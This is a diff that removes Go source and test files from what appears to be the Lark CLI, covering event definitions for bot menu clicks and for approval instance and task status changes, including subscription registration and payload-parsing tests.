@@ -1,227 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package application
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
func TestKeysBotMenuMetadata(t *testing.T) {
|
||||
keys := Keys()
|
||||
if len(keys) != 1 {
|
||||
t.Fatalf("len(Keys()) = %d, want 1", len(keys))
|
||||
}
|
||||
|
||||
def := keys[0]
|
||||
if def.Key != eventTypeBotMenuV6 {
|
||||
t.Errorf("Key = %q, want %q", def.Key, eventTypeBotMenuV6)
|
||||
}
|
||||
if def.EventType != eventTypeBotMenuV6 {
|
||||
t.Errorf("EventType = %q, want %q", def.EventType, eventTypeBotMenuV6)
|
||||
}
|
||||
if def.SubscriptionType != "" {
|
||||
t.Errorf("SubscriptionType = %q, want default event subscription", def.SubscriptionType)
|
||||
}
|
||||
if def.Schema.Custom == nil {
|
||||
t.Fatal("Schema.Custom is nil")
|
||||
}
|
||||
if def.Schema.Custom.Type != reflect.TypeOf(BotMenuOutput{}) {
|
||||
t.Errorf("custom type = %v, want BotMenuOutput", def.Schema.Custom.Type)
|
||||
}
|
||||
if def.Schema.Native != nil {
|
||||
t.Fatal("Schema.Native must be nil for processed output")
|
||||
}
|
||||
if def.Process == nil {
|
||||
t.Fatal("Process is nil")
|
||||
}
|
||||
if !reflect.DeepEqual(def.AuthTypes, []string{"bot"}) {
|
||||
t.Errorf("AuthTypes = %#v", def.AuthTypes)
|
||||
}
|
||||
if !reflect.DeepEqual(def.RequiredConsoleEvents, []string{eventTypeBotMenuV6}) {
|
||||
t.Errorf("RequiredConsoleEvents = %#v", def.RequiredConsoleEvents)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBotMenuRegistersCleanly(t *testing.T) {
|
||||
const key = eventTypeBotMenuV6
|
||||
event.UnregisterKeyForTest(key)
|
||||
t.Cleanup(func() { event.UnregisterKeyForTest(key) })
|
||||
|
||||
for _, def := range Keys() {
|
||||
event.RegisterKey(def)
|
||||
}
|
||||
if _, ok := event.Lookup(key); !ok {
|
||||
t.Fatalf("event.Lookup(%q) not registered", key)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessBotMenu(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_menu_001",
|
||||
"event_type": "application.bot.menu_v6",
|
||||
"create_time": "1776409469273",
|
||||
"app_id": "cli_test",
|
||||
"tenant_key": "tenant_test"
|
||||
},
|
||||
"event": {
|
||||
"event_key": "start_eval",
|
||||
"timestamp": 1776409469000,
|
||||
"operator": {
|
||||
"operator_id": {
|
||||
"open_id": "ou_operator",
|
||||
"union_id": "on_operator",
|
||||
"user_id": "user_operator"
|
||||
},
|
||||
"operator_name": "Test User"
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runBotMenu(t, payload)
|
||||
|
||||
if out.Type != eventTypeBotMenuV6 {
|
||||
t.Errorf("Type = %q, want %q", out.Type, eventTypeBotMenuV6)
|
||||
}
|
||||
if out.EventID != "ev_menu_001" {
|
||||
t.Errorf("EventID = %q", out.EventID)
|
||||
}
|
||||
if out.Timestamp != "1776409469273" {
|
||||
t.Errorf("Timestamp = %q", out.Timestamp)
|
||||
}
|
||||
if out.EventKey != "start_eval" {
|
||||
t.Errorf("EventKey = %q", out.EventKey)
|
||||
}
|
||||
if out.MenuTimestamp != "1776409469000" {
|
||||
t.Errorf("MenuTimestamp = %q", out.MenuTimestamp)
|
||||
}
|
||||
if out.OperatorID != "ou_operator" || out.OperatorOpenID != "ou_operator" {
|
||||
t.Errorf("OperatorID/OperatorOpenID = %q/%q", out.OperatorID, out.OperatorOpenID)
|
||||
}
|
||||
if out.OperatorUnionID != "on_operator" {
|
||||
t.Errorf("OperatorUnionID = %q", out.OperatorUnionID)
|
||||
}
|
||||
if out.OperatorUserID != "user_operator" {
|
||||
t.Errorf("OperatorUserID = %q", out.OperatorUserID)
|
||||
}
|
||||
if out.OperatorName != "Test User" {
|
||||
t.Errorf("OperatorName = %q", out.OperatorName)
|
||||
}
|
||||
if out.AppID != "cli_test" || out.TenantKey != "tenant_test" {
|
||||
t.Errorf("AppID/TenantKey = %q/%q", out.AppID, out.TenantKey)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessBotMenuStringTimestampFallback(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_menu_002",
|
||||
"event_type": "application.bot.menu_v6"
|
||||
},
|
||||
"event": {
|
||||
"event_key": "start_eval",
|
||||
"timestamp": "1776409469001",
|
||||
"operator": {
|
||||
"operator_id": {"open_id": "ou_operator"}
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runBotMenu(t, payload)
|
||||
|
||||
if out.Timestamp != "1776409469001" {
|
||||
t.Errorf("Timestamp fallback = %q", out.Timestamp)
|
||||
}
|
||||
if out.MenuTimestamp != "1776409469001" {
|
||||
t.Errorf("MenuTimestamp = %q", out.MenuTimestamp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessBotMenuSecondsTimestampFallback(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_menu_seconds",
|
||||
"event_type": "application.bot.menu_v6"
|
||||
},
|
||||
"event": {
|
||||
"event_key": "start_eval",
|
||||
"timestamp": 1694592375,
|
||||
"operator": {
|
||||
"operator_id": {"open_id": "ou_operator"}
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runBotMenu(t, payload)
|
||||
|
||||
if out.Timestamp != "1694592375000" {
|
||||
t.Errorf("Timestamp fallback = %q, want seconds normalized to milliseconds", out.Timestamp)
|
||||
}
|
||||
if out.MenuTimestamp != "1694592375000" {
|
||||
t.Errorf("MenuTimestamp = %q, want seconds normalized to milliseconds", out.MenuTimestamp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessBotMenuTypeUsesLocalConstant(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_menu_003",
|
||||
"event_type": "unexpected.event_type",
|
||||
"create_time": "1776409469275"
|
||||
},
|
||||
"event": {
|
||||
"event_key": "start_eval",
|
||||
"operator": {
|
||||
"operator_id": {"open_id": "ou_operator"}
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runBotMenu(t, payload)
|
||||
|
||||
if out.Type != eventTypeBotMenuV6 {
|
||||
t.Errorf("Type = %q, want %q", out.Type, eventTypeBotMenuV6)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessBotMenuMalformedPayload(t *testing.T) {
|
||||
raw := &event.RawEvent{
|
||||
EventID: "ev_bad",
|
||||
EventType: eventTypeBotMenuV6,
|
||||
Payload: json.RawMessage(`not json`),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := processBotMenu(context.Background(), nil, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process should swallow parse errors, got %v", err)
|
||||
}
|
||||
if string(got) != "not json" {
|
||||
t.Errorf("malformed fallback output = %q, want original bytes", string(got))
|
||||
}
|
||||
}
|
||||
|
||||
func runBotMenu(t *testing.T, payload string) BotMenuOutput {
|
||||
t.Helper()
|
||||
raw := &event.RawEvent{
|
||||
EventID: "ev_test",
|
||||
EventType: eventTypeBotMenuV6,
|
||||
Payload: json.RawMessage(payload),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := processBotMenu(context.Background(), nil, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("processBotMenu: %v", err)
|
||||
}
|
||||
var out BotMenuOutput
|
||||
if err := json.Unmarshal(got, &out); err != nil {
|
||||
t.Fatalf("unmarshal output: %v\n%s", err, got)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package application registers Application-domain EventKeys.
|
||||
package application
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
const eventTypeBotMenuV6 = "application.bot.menu_v6"
|
||||
|
||||
// Keys returns all Application-domain EventKey definitions.
|
||||
func Keys() []event.KeyDefinition {
|
||||
return []event.KeyDefinition{
|
||||
{
|
||||
Key: eventTypeBotMenuV6,
|
||||
DisplayName: "Bot menu",
|
||||
Description: "Triggered when a user clicks a custom bot menu item whose action is configured as a push event.",
|
||||
EventType: eventTypeBotMenuV6,
|
||||
Schema: event.SchemaDef{
|
||||
Custom: &event.SchemaSpec{Type: reflect.TypeOf(BotMenuOutput{})},
|
||||
},
|
||||
Process: processBotMenu,
|
||||
AuthTypes: []string{"bot"},
|
||||
RequiredConsoleEvents: []string{eventTypeBotMenuV6},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1,155 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package approval
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
type approvalEventType string
|
||||
type approvalSubscriptionPath string
|
||||
|
||||
type approvalSubscriptionConfig struct {
|
||||
eventType approvalEventType
|
||||
subscribePath approvalSubscriptionPath
|
||||
}
|
||||
|
||||
func approvalSubscriptionPreConsume(cfg approvalSubscriptionConfig) func(context.Context, event.APIClient, map[string]string) (func() error, error) {
|
||||
return func(ctx context.Context, rt event.APIClient, params map[string]string) (func() error, error) {
|
||||
if rt == nil {
|
||||
return nil, errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"runtime API client is required for pre-consume subscription")
|
||||
}
|
||||
|
||||
eventType := string(cfg.eventType)
|
||||
subscribePath := string(cfg.subscribePath)
|
||||
subscriptionTypes, err := approvalSubscriptionTypes(eventType, params)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
registered := make([]string, 0, len(subscriptionTypes))
|
||||
for _, subscriptionType := range subscriptionTypes {
|
||||
body := map[string]string{"subscription_type": subscriptionType}
|
||||
if _, err := rt.CallAPI(ctx, "POST", subscribePath, body); err != nil {
|
||||
return nil, approvalSubscriptionRegistrationError(eventType, registered, subscriptionType, err)
|
||||
}
|
||||
registered = append(registered, subscriptionType)
|
||||
}
|
||||
|
||||
// Approval subscriptions are durable user-auth relations. Consuming events
|
||||
// should not cancel that relation when this local process exits.
|
||||
return nil, nil
|
||||
}
|
||||
}
|
||||
|
||||
func approvalSubscriptionTypes(eventType string, params map[string]string) ([]string, error) {
|
||||
raw := strings.TrimSpace(params["subscription_type"])
|
||||
if raw == "" {
|
||||
return append([]string(nil), approvalAllSubscriptionTypes...), nil
|
||||
}
|
||||
|
||||
values, err := parseApprovalSubscriptionTypeValues(raw)
|
||||
if err != nil {
|
||||
return nil, invalidApprovalSubscriptionTypeError(eventType, raw)
|
||||
}
|
||||
|
||||
selected := make(map[string]bool, len(values))
|
||||
for _, value := range values {
|
||||
value = strings.TrimSpace(value)
|
||||
switch value {
|
||||
case approvalSubscriptionTypeInvolved, approvalSubscriptionTypeManaged:
|
||||
selected[value] = true
|
||||
default:
|
||||
return nil, invalidApprovalSubscriptionTypeError(eventType, value)
|
||||
}
|
||||
}
|
||||
|
||||
result := make([]string, 0, len(selected))
|
||||
for _, value := range approvalAllSubscriptionTypes {
|
||||
if selected[value] {
|
||||
result = append(result, value)
|
||||
}
|
||||
}
|
||||
if len(result) == 0 {
|
||||
return nil, invalidApprovalSubscriptionTypeError(eventType, raw)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func parseApprovalSubscriptionTypeValues(raw string) ([]string, error) {
|
||||
if strings.HasPrefix(raw, "[") {
|
||||
var values []string
|
||||
if err := json.Unmarshal([]byte(raw), &values); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return values, nil
|
||||
}
|
||||
return strings.Split(raw, ","), nil
|
||||
}
|
||||
|
||||
func approvalSubscriptionRegistrationError(eventType string, registered []string, failed string, err error) error {
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf(
|
||||
"approval subscription pre-consume failed for EventKey %s: failed subscription_type %s",
|
||||
eventType,
|
||||
failed,
|
||||
)
|
||||
hint := fmt.Sprintf(
|
||||
"no approval subscription relation was registered for EventKey %s; fix the cause and retry",
|
||||
eventType,
|
||||
)
|
||||
if len(registered) > 0 {
|
||||
msg = fmt.Sprintf(
|
||||
"approval subscription pre-consume partially completed for EventKey %s: registered subscription_type(s) [%s], failed subscription_type %s",
|
||||
eventType,
|
||||
strings.Join(registered, ", "),
|
||||
failed,
|
||||
)
|
||||
hint = fmt.Sprintf(
|
||||
"server-side approval subscription relation(s) already registered for EventKey %s: %s; after fixing the cause, retry with --param subscription_type=%s to register the failed relation",
|
||||
eventType,
|
||||
strings.Join(registered, ", "),
|
||||
failed,
|
||||
)
|
||||
}
|
||||
|
||||
if p, ok := errs.ProblemOf(err); ok {
|
||||
if upstream := strings.TrimSpace(p.Message); upstream != "" {
|
||||
p.Message = msg + ": " + upstream
|
||||
} else {
|
||||
p.Message = msg
|
||||
}
|
||||
if upstreamHint := strings.TrimSpace(p.Hint); upstreamHint != "" {
|
||||
p.Hint = upstreamHint + "\n" + hint
|
||||
} else {
|
||||
p.Hint = hint
|
||||
}
|
||||
return err
|
||||
}
|
||||
return errs.NewInternalError(errs.SubtypeSDKError, "%s: %v", msg, err).
|
||||
WithHint("%s", hint).
|
||||
WithCause(err)
|
||||
}
|
||||
|
||||
func invalidApprovalSubscriptionTypeError(eventType, value string) error {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"invalid subscription_type for EventKey %s: %q", eventType, value).
|
||||
WithParam("--param").
|
||||
WithHint("omit subscription_type to register both approval subscription relations, or pass --param subscription_type=%s, --param subscription_type=%s, or --param subscription_type=%s,%s; run `lark-cli event schema %s` for details",
|
||||
approvalSubscriptionTypeInvolved,
|
||||
approvalSubscriptionTypeManaged,
|
||||
approvalSubscriptionTypeInvolved,
|
||||
approvalSubscriptionTypeManaged,
|
||||
eventType)
|
||||
}
|
||||
@@ -1,179 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package approval registers Approval-domain EventKeys.
|
||||
package approval
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"reflect"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
const (
|
||||
eventTypeApprovalInstanceStatusChangedV4 = "approval.instance.status_changed_v4"
|
||||
eventTypeApprovalTaskStatusChangedV4 = "approval.task.status_changed_v4"
|
||||
|
||||
pathApprovalInstancesSubscription = "/open-apis/approval/v4/instances/subscription"
|
||||
pathApprovalTasksSubscription = "/open-apis/approval/v4/tasks/subscription"
|
||||
|
||||
approvalSubscriptionTypeInvolved = "INVOLVED_APPROVAL"
|
||||
approvalSubscriptionTypeManaged = "MANAGED_APPROVAL"
|
||||
)
|
||||
|
||||
var approvalAllSubscriptionTypes = []string{
|
||||
approvalSubscriptionTypeInvolved,
|
||||
approvalSubscriptionTypeManaged,
|
||||
}
|
||||
|
||||
// Keys returns all Approval-domain EventKey definitions.
|
||||
func Keys() []event.KeyDefinition {
|
||||
return []event.KeyDefinition{
|
||||
{
|
||||
Key: eventTypeApprovalInstanceStatusChangedV4,
|
||||
DisplayName: "Approval instance status changed",
|
||||
Description: "Triggered after an approval instance status becomes visible to the requester or approval participants",
|
||||
EventType: eventTypeApprovalInstanceStatusChangedV4,
|
||||
Params: approvalSubscriptionParams(),
|
||||
Schema: event.SchemaDef{
|
||||
Custom: &event.SchemaSpec{Type: reflect.TypeOf(ApprovalInstanceStatusChangedV4Output{})},
|
||||
},
|
||||
Process: processApprovalInstanceStatusChanged,
|
||||
PreConsume: approvalSubscriptionPreConsume(approvalSubscriptionConfig{
|
||||
eventType: eventTypeApprovalInstanceStatusChangedV4,
|
||||
subscribePath: pathApprovalInstancesSubscription,
|
||||
}),
|
||||
Scopes: []string{"approval:instance:read"},
|
||||
AuthTypes: []string{
|
||||
"user",
|
||||
},
|
||||
RequiredConsoleEvents: []string{eventTypeApprovalInstanceStatusChangedV4},
|
||||
},
|
||||
{
|
||||
Key: eventTypeApprovalTaskStatusChangedV4,
|
||||
DisplayName: "Approval task status changed",
|
||||
Description: "Triggered after an approval task status becomes visible to the requester or task approver",
|
||||
EventType: eventTypeApprovalTaskStatusChangedV4,
|
||||
Params: approvalSubscriptionParams(),
|
||||
Schema: event.SchemaDef{
|
||||
Custom: &event.SchemaSpec{Type: reflect.TypeOf(ApprovalTaskStatusChangedV4Output{})},
|
||||
},
|
||||
Process: processApprovalTaskStatusChanged,
|
||||
PreConsume: approvalSubscriptionPreConsume(approvalSubscriptionConfig{
|
||||
eventType: eventTypeApprovalTaskStatusChangedV4,
|
||||
subscribePath: pathApprovalTasksSubscription,
|
||||
}),
|
||||
Scopes: []string{"approval:task:read"},
|
||||
AuthTypes: []string{
|
||||
"user",
|
||||
},
|
||||
RequiredConsoleEvents: []string{eventTypeApprovalTaskStatusChangedV4},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func approvalSubscriptionParams() []event.ParamDef {
|
||||
return []event.ParamDef{
|
||||
{
|
||||
Name: "subscription_type",
|
||||
Type: event.ParamMulti,
|
||||
Description: "Approval subscription relation type(s) to register for the current authorized user. Omit to register both involved and managed approval relations.",
|
||||
Values: []event.ParamValue{
|
||||
{
|
||||
Value: approvalSubscriptionTypeInvolved,
|
||||
Desc: "Receive events where the current user is the approval requester or approver.",
|
||||
},
|
||||
{
|
||||
Value: approvalSubscriptionTypeManaged,
|
||||
Desc: "Receive events under approval definitions managed by the current user.",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func processApprovalInstanceStatusChanged(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
|
||||
if raw == nil {
|
||||
return nil, nil
|
||||
}
|
||||
var envelope struct {
|
||||
Header struct {
|
||||
EventID string `json:"event_id"`
|
||||
EventType string `json:"event_type"`
|
||||
CreateTime string `json:"create_time"`
|
||||
} `json:"header"`
|
||||
Event struct {
|
||||
ApprovalCode string `json:"approval_code"`
|
||||
InstanceCode string `json:"instance_code"`
|
||||
ExternalID string `json:"external_id"`
|
||||
Status string `json:"status"`
|
||||
OperateTime string `json:"operate_time"`
|
||||
StartUser *ApprovalUserID `json:"start_user"`
|
||||
} `json:"event"`
|
||||
}
|
||||
if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
|
||||
return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
|
||||
}
|
||||
|
||||
out := &ApprovalInstanceStatusChangedV4Output{
|
||||
Type: envelope.Header.EventType,
|
||||
EventID: envelope.Header.EventID,
|
||||
Timestamp: envelope.Header.CreateTime,
|
||||
ApprovalCode: envelope.Event.ApprovalCode,
|
||||
InstanceCode: envelope.Event.InstanceCode,
|
||||
ExternalID: envelope.Event.ExternalID,
|
||||
Status: envelope.Event.Status,
|
||||
OperateTime: envelope.Event.OperateTime,
|
||||
StartUser: envelope.Event.StartUser,
|
||||
}
|
||||
if out.Type == "" {
|
||||
out.Type = raw.EventType
|
||||
}
|
||||
return json.Marshal(out)
|
||||
}
|
||||
|
||||
func processApprovalTaskStatusChanged(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
|
||||
if raw == nil {
|
||||
return nil, nil
|
||||
}
|
||||
var envelope struct {
|
||||
Header struct {
|
||||
EventID string `json:"event_id"`
|
||||
EventType string `json:"event_type"`
|
||||
CreateTime string `json:"create_time"`
|
||||
} `json:"header"`
|
||||
Event struct {
|
||||
ApprovalCode string `json:"approval_code"`
|
||||
InstanceCode string `json:"instance_code"`
|
||||
TaskID string `json:"task_id"`
|
||||
ExternalID string `json:"external_id"`
|
||||
TaskExternalID string `json:"task_external_id"`
|
||||
AssignedUser *ApprovalUserID `json:"assigned_user"`
|
||||
Status string `json:"status"`
|
||||
OperateTime string `json:"operate_time"`
|
||||
} `json:"event"`
|
||||
}
|
||||
if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
|
||||
return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
|
||||
}
|
||||
|
||||
out := &ApprovalTaskStatusChangedV4Output{
|
||||
Type: envelope.Header.EventType,
|
||||
EventID: envelope.Header.EventID,
|
||||
Timestamp: envelope.Header.CreateTime,
|
||||
ApprovalCode: envelope.Event.ApprovalCode,
|
||||
InstanceCode: envelope.Event.InstanceCode,
|
||||
TaskID: envelope.Event.TaskID,
|
||||
ExternalID: envelope.Event.ExternalID,
|
||||
TaskExternalID: envelope.Event.TaskExternalID,
|
||||
AssignedUser: envelope.Event.AssignedUser,
|
||||
Status: envelope.Event.Status,
|
||||
OperateTime: envelope.Event.OperateTime,
|
||||
}
|
||||
if out.Type == "" {
|
||||
out.Type = raw.EventType
|
||||
}
|
||||
return json.Marshal(out)
|
||||
}
|
||||
@@ -1,654 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package approval
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
"github.com/larksuite/cli/internal/event/schemas"
|
||||
)
|
||||
|
||||
type recordedCall struct {
|
||||
method string
|
||||
path string
|
||||
body interface{}
|
||||
}
|
||||
|
||||
type fakeAPIClient struct {
|
||||
calls []recordedCall
|
||||
err error
|
||||
errOnCall int
|
||||
}
|
||||
|
||||
func (f *fakeAPIClient) CallAPI(_ context.Context, method, path string, body interface{}) (json.RawMessage, error) {
|
||||
f.calls = append(f.calls, recordedCall{method: method, path: path, body: body})
|
||||
if f.err != nil && (f.errOnCall == 0 || f.errOnCall == len(f.calls)) {
|
||||
return nil, f.err
|
||||
}
|
||||
return json.RawMessage(`{}`), nil
|
||||
}
|
||||
|
||||
func TestKeysApprovalMetadata(t *testing.T) {
|
||||
keys := Keys()
|
||||
if len(keys) != 2 {
|
||||
t.Fatalf("len(Keys()) = %d, want 2", len(keys))
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
key string
|
||||
scope string
|
||||
schemaType reflect.Type
|
||||
subscribe string
|
||||
}{
|
||||
{
|
||||
key: eventTypeApprovalInstanceStatusChangedV4,
|
||||
scope: "approval:instance:read",
|
||||
schemaType: reflect.TypeOf(ApprovalInstanceStatusChangedV4Output{}),
|
||||
subscribe: pathApprovalInstancesSubscription,
|
||||
},
|
||||
{
|
||||
key: eventTypeApprovalTaskStatusChangedV4,
|
||||
scope: "approval:task:read",
|
||||
schemaType: reflect.TypeOf(ApprovalTaskStatusChangedV4Output{}),
|
||||
subscribe: pathApprovalTasksSubscription,
|
||||
},
|
||||
}
|
||||
|
||||
byKey := make(map[string]event.KeyDefinition, len(keys))
|
||||
for _, def := range keys {
|
||||
byKey[def.Key] = def
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.key, func(t *testing.T) {
|
||||
def, ok := byKey[tc.key]
|
||||
if !ok {
|
||||
t.Fatalf("missing key %s", tc.key)
|
||||
}
|
||||
if def.EventType != tc.key {
|
||||
t.Errorf("EventType = %q, want %q", def.EventType, tc.key)
|
||||
}
|
||||
if def.Schema.Custom == nil || def.Schema.Custom.Type != tc.schemaType {
|
||||
t.Fatalf("Custom schema Type = %v, want %v", def.Schema.Custom, tc.schemaType)
|
||||
}
|
||||
if def.Schema.Native != nil {
|
||||
t.Fatal("approval events must use Custom schema while SDK event types are not exported")
|
||||
}
|
||||
if def.Process == nil {
|
||||
t.Fatal("Process must flatten raw V2 envelopes")
|
||||
}
|
||||
if def.PreConsume == nil {
|
||||
t.Fatal("PreConsume must subscribe approval user-auth events")
|
||||
}
|
||||
if !reflect.DeepEqual(def.Scopes, []string{tc.scope}) {
|
||||
t.Errorf("Scopes = %#v, want %q", def.Scopes, tc.scope)
|
||||
}
|
||||
if !reflect.DeepEqual(def.AuthTypes, []string{"user"}) {
|
||||
t.Errorf("AuthTypes = %#v, want user", def.AuthTypes)
|
||||
}
|
||||
if !reflect.DeepEqual(def.RequiredConsoleEvents, []string{tc.key}) {
|
||||
t.Errorf("RequiredConsoleEvents = %#v, want %q", def.RequiredConsoleEvents, tc.key)
|
||||
}
|
||||
assertSubscriptionParam(t, def.Params)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func assertSubscriptionParam(t *testing.T, params []event.ParamDef) {
|
||||
t.Helper()
|
||||
if len(params) != 1 {
|
||||
t.Fatalf("len(params) = %d, want 1", len(params))
|
||||
}
|
||||
p := params[0]
|
||||
if p.Name != "subscription_type" || p.Type != event.ParamMulti || p.Required || p.SubscriptionKey {
|
||||
t.Fatalf("subscription_type param = %+v, want optional multi non-subscription-key param", p)
|
||||
}
|
||||
got := map[string]string{}
|
||||
for _, v := range p.Values {
|
||||
got[v.Value] = v.Desc
|
||||
}
|
||||
for _, want := range []string{approvalSubscriptionTypeInvolved, approvalSubscriptionTypeManaged} {
|
||||
if got[want] == "" {
|
||||
t.Errorf("subscription_type value %q missing or empty desc; values=%+v", want, p.Values)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type reflectedApprovalSchema struct {
|
||||
Properties map[string]reflectedApprovalSchemaProperty `json:"properties"`
|
||||
}
|
||||
|
||||
type reflectedApprovalSchemaProperty struct {
|
||||
Format string `json:"format"`
|
||||
Enum []string `json:"enum"`
|
||||
Properties map[string]reflectedApprovalSchemaProperty `json:"properties"`
|
||||
}
|
||||
|
||||
func TestApprovalSchemasAnnotations(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
schemaType reflect.Type
|
||||
eventType string
|
||||
statusValues []string
|
||||
userField string
|
||||
}{
|
||||
{
|
||||
name: "instance",
|
||||
schemaType: reflect.TypeOf(ApprovalInstanceStatusChangedV4Output{}),
|
||||
eventType: eventTypeApprovalInstanceStatusChangedV4,
|
||||
statusValues: []string{"PENDING", "APPROVED", "REJECTED", "CANCELED", "DELETED", "REVERTED", "OVERTIME_CLOSE", "OVERTIME_RECOVER"},
|
||||
userField: "start_user",
|
||||
},
|
||||
{
|
||||
name: "task",
|
||||
schemaType: reflect.TypeOf(ApprovalTaskStatusChangedV4Output{}),
|
||||
eventType: eventTypeApprovalTaskStatusChangedV4,
|
||||
statusValues: []string{"REVERTED", "PENDING", "APPROVED", "REJECTED", "TRANSFERRED", "ROLLBACK", "DONE", "OVERTIME_CLOSE", "OVERTIME_RECOVER"},
|
||||
userField: "assigned_user",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
var schema reflectedApprovalSchema
|
||||
if err := json.Unmarshal(schemas.FromType(tc.schemaType), &schema); err != nil {
|
||||
t.Fatalf("unmarshal schema: %v", err)
|
||||
}
|
||||
props := schema.Properties
|
||||
eventTypeEnum := props["type"].Enum
|
||||
if len(eventTypeEnum) != 1 || eventTypeEnum[0] != tc.eventType {
|
||||
t.Fatalf("type enum = %v, want %s", eventTypeEnum, tc.eventType)
|
||||
}
|
||||
if got := props["timestamp"].Format; got != "timestamp_ms" {
|
||||
t.Errorf("timestamp format = %v, want timestamp_ms", got)
|
||||
}
|
||||
assertEnumContains(t, props["status"].Enum, tc.statusValues)
|
||||
if got := props["operate_time"].Format; got != "timestamp_ms" {
|
||||
t.Errorf("event.operate_time format = %v, want timestamp_ms", got)
|
||||
}
|
||||
|
||||
userProps := props[tc.userField].Properties
|
||||
if got := userProps["open_id"].Format; got != "open_id" {
|
||||
t.Errorf("%s.open_id format = %v, want open_id", tc.userField, got)
|
||||
}
|
||||
if got := userProps["union_id"].Format; got != "union_id" {
|
||||
t.Errorf("%s.union_id format = %v, want union_id", tc.userField, got)
|
||||
}
|
||||
if got := userProps["user_id"].Format; got != "user_id" {
|
||||
t.Errorf("%s.user_id format = %v, want user_id", tc.userField, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func assertEnumContains(t *testing.T, raw []string, wants []string) {
|
||||
t.Helper()
|
||||
got := make(map[string]bool, len(raw))
|
||||
for _, v := range raw {
|
||||
got[v] = true
|
||||
}
|
||||
for _, want := range wants {
|
||||
if !got[want] {
|
||||
t.Errorf("enum missing %q; enum=%v", want, raw)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalPreConsumeRegistersSubscriptionTypesWithoutCleanup(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
eventType string
|
||||
subscribePath string
|
||||
params map[string]string
|
||||
wantTypes []string
|
||||
}{
|
||||
{
|
||||
name: "instance omitted subscription_type registers both",
|
||||
eventType: eventTypeApprovalInstanceStatusChangedV4,
|
||||
subscribePath: pathApprovalInstancesSubscription,
|
||||
wantTypes: []string{
|
||||
approvalSubscriptionTypeInvolved,
|
||||
approvalSubscriptionTypeManaged,
|
||||
},
|
